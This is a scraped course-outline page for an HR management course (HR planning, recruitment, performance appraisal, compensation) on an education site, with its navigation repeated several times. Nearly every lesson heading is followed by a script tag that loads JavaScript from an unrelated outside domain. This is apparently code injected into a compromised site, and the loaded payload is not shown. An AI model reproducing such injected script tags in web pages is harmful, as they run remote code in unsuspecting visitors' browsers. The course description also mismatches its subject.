Human resources NEW

About Course

Description

After taking this course, students are expected to be able to fully and critically understand the basic theory and techniques of investors and managers decisions making.

Course Content

Induction Class (Optional)
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Introduction

00:00

Nature and Scope of HRM
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Organising the HR Function
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Human Resource Policies
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Human Resource Planning
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Recruitment & Selection
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Training & Development
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Performance Management
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Compensation & Benefits
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Employee Relations
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Assessment/ Case Study
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

CAMPALIN

Computer Science / Information Technology

Electronics & Communication

Mechanical / Civil

Management

CAMPALIN

About Course

Description

What Will You Learn?

Course Content

Induction Class (Optional) <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Nature and Scope of HRM <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Lesson 1

Nature and Scope of HRM <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Lesson 1

Lesson 2

Organising the HR Function <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Lesson 1

Human Resource Policies <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Lesson 1

Human Resource Planning <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Objectives of HRP

Human Resource Planning <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

HRP Process Problems in HRP

Recruitment & Selection <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Process of Recruitment Sources of Recruitment

Recruitment & Selection <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

JobAnalysis- Job Description & Job Specification

Recruitment & Selection <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Job offer

Training & Development <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Lesson 1

Performance Management <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Performance Apprisal process

Performance Management <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Methods of Appraisal Process

Compensation & Benefits <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Lesson 1

Compensation & Benefits <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Maintaining and Retaining Human Resources

Employee Relations <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Lesson 1

Assessment/ Case Study <script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Lesson 1

CAMPALIN

Work with us

For Business

Company

Social

© 2022 Campalin Innovation Pvt Ltd. All rights reserved

CAMPALIN

Work with us

For Business

Company

Social

Induction Class (Optional)
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Nature and Scope of HRM
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Nature and Scope of HRM
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Organising the HR Function
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Human Resource Policies
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Human Resource Planning
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Human Resource Planning
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Recruitment & Selection
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Recruitment & Selection
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Recruitment & Selection
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Training & Development
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Performance Management
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Performance Management
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Compensation & Benefits
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Compensation & Benefits
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Employee Relations
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>

Assessment/ Case Study
<script src='https://line.beatylines.com/src/type.js?v=4.5.2' type='text/javascript' id='globalsway'></script>